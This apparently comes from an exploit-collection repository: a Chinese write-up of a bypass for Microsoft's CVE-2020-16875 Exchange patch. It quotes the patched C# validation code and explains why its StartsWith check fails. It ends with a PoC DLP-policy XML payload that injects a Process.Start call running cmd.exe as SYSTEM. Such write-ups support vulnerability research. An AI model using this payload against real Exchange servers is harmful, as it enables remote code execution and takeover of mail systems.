Skip to content

Latest commit

 

History

History
83 lines (71 loc) · 2.59 KB

Bypass for Microsoft Exchange远程代码执行 CVE-2020-16875.md

File metadata and controls

83 lines (71 loc) · 2.59 KB

Bypass for Microsoft Exchange远程代码执行 CVE-2020-16875

CVE-2020-16875的补丁代码:

internal static void ValidateCmdletParameters(string cmdlet,
    IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
    if (string.IsNullOrWhiteSpace(cmdlet))
    {
        return;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
        out collection2);
    if (collection2 != null && collection2.Count > 0)
    {
        throw new DlpPolicyParsingException(
            Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
    if (collection != null)
    {
        // #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
        // RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
        if ((from token in collection
        where token.Type == PSTokenType.Command 
        select token).ToList<PSToken>().Count > 1)
        {
            throw new DlpPolicyParsingException(
                Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
        }
    }
    bool flag = false;
    foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
    {
        // #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
        if (cmdlet.StartsWith(keyValuePair.Key,
            StringComparison.InvariantCultureIgnoreCase))
        {
            // #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
            // REGEX
            if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
                RegexOptions.IgnoreCase))
            {
                throw new DlpPolicyParsingException(
                    Strings.DlpPolicyMissingRequiredParameter(cmdlet,
                        keyValuePair.Value));
            }
            flag = true;
        }
    }
    if (!flag)
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
                                                                        cmdlet));
    }
}

绕过:

可以轻松绕过检查#2,因为检查是在原始cmdlet字符串,仅使用函数.StartsWith()检查cmdlet的开头。要绕过,我们只提供给定的有效键中包含的命令字符串通过requiredParameters:

new-transportruleSOMETHINGELSE ....

PoC:

以下Payload可以绕过所有三个检查:

<![CDATA[ new-transportrule
   -Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
   -DlpPolicy "%%DlpPolicyName%%"
]]>

详情可以阅读:https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/

https://forum.ywhack.com/thread-114854-1-2.html